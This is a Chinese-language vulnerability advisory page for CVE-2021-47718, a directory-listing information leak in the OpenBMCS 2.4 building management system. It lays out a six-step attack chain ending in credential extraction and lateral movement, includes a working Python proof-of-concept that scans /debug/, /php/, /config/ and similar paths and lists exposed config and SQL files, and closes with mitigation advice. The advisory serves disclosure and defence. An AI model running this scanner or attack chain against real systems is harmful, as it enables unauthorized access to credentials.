IPBUF安全漏洞报告
English
CVE-2021-47718 CVSS 7.5 高危

CVE-2021-47718 OpenBMCS目录遍历信息泄露漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2021-47718
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenBMCS 2.4

相关标签

信息泄露目录遍历OpenBMCSCVE-2021-47718高危漏洞无需认证配置文件泄露Web应用安全

漏洞概述

CVE-2021-47718是OpenBMCS 2.4版本中的一个高危信息泄露漏洞。该漏洞允许未经身份验证的攻击者通过利用目录列表功能访问敏感文件。OpenBMCS是一款开源的建筑管理系统(BMS),在工业和商业环境中广泛应用。由于系统配置不当,攻击者可以直接浏览特定目录如/debug/和/php/,从而发现配置文件、数据库凭据和系统信息。这些敏感信息可能被进一步利用来进行深度攻击,包括数据窃取、横向移动和持久化控制。CVSS 3.1评分达到7.5分,属于高危漏洞,主要威胁机密性。该漏洞无需认证即可利用,且攻击复杂度低,对互联网暴露的系统构成严重威胁。建议立即采取修复措施并限制目录访问权限。

技术细节

OpenBMCS 2.4的信息泄露漏洞源于不当的目录访问控制配置。系统启用了目录列表功能,允许用户直接访问和浏览特定目录结构。攻击者可以通过构造HTTP请求访问敏感路径来获取系统信息。主要攻击路径包括:1) 访问/debug/目录可能暴露调试信息和错误日志;2) 访问/php/目录可能泄露PHP脚本配置和数据库连接字符串;3) 其他目录可能包含配置文件、备份文件和用户凭据。攻击者利用Web浏览器或简单HTTP工具即可完成信息收集,无需特殊工具或认证凭据。该漏洞的技术根源在于Web服务器配置允许目录索引,以及应用程序未对敏感路径进行访问控制。攻击成功后可获取:配置文件中的数据库用户名/密码、API密钥、系统路径结构、应用版本信息等。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过搜索引擎或扫描工具发现运行OpenBMCS 2.4的互联网暴露主机
STEP 2
步骤2: 目录探测
攻击者使用目录枚举工具或手动访问常见敏感路径如/debug/、/php/、/config/等
STEP 3
步骤3: 目录列表利用
确认目录列表功能已启用,攻击者可以浏览目录内容并获取文件列表
STEP 4
步骤4: 敏感文件访问
攻击者点击或直接访问配置文件、数据库连接文件、备份文件等敏感资源
STEP 5
步骤5: 凭据提取
从配置文件中提取数据库用户名、密码、API密钥等敏感凭据信息
STEP 6
步骤6: 深度利用
利用获取的凭据进行横向移动、数据库拖库或其他进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47718 OpenBMCS Information Disclosure PoC # Target: OpenBMCS 2.4 # Vulnerability: Directory listing exposes sensitive files import requests import sys TARGET_PATHS = [ "/debug/", "/php/", "/config/", "/backup/", "/admin/", "/logs/", "/includes/", "/data/" ] def check_vulnerability(base_url): """Check if target is vulnerable to CVE-2021-47718""" print(f"[*] Scanning target: {base_url}") print(f"[*] CVE-2021-47718: OpenBMCS Directory Listing Information Disclosure\n") vulnerable_paths = [] for path in TARGET_PATHS: url = base_url.rstrip('/') + path try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: # Check if directory listing is enabled if 'Index of' in response.text or '<title>Index' in response.text: print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}") print(f" Directory listing enabled - sensitive files may be exposed\n") vulnerable_paths.append(url) # Try to extract file links lines = response.text.split('\n') for line in lines: if 'href=' in line and '.php' in line: print(f" Found PHP file: {line}") elif 'href=' in line and ('.conf' in line or '.cfg' in line or '.sql' in line): print(f" Found config file: {line}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") if vulnerable_paths: print(f"\n[!] {len(vulnerable_paths)} vulnerable paths found") print("[!] Exposed information may include:") print(" - Database credentials") print(" - Configuration files") print(" - System paths and structure") print(" - Application source code") return True else: print("[-] No vulnerable directory listing found") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/openbmcs") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

影响范围

OpenBMCS 2.4

防御指南

临时缓解措施
临时缓解措施:1) 在Web服务器配置中禁用目录索引功能(Apache中设置Options -Indexes,Nginx中配置autoindex off);2) 对敏感目录实施IP白名单访问控制;3) 检查并移除不必要的调试文件和备份文件;4) 使用防火墙规则阻止对敏感路径的访问;5) 监控Web访问日志,关注异常的目录枚举行为。同时建议尽快升级到厂商发布的安全补丁版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表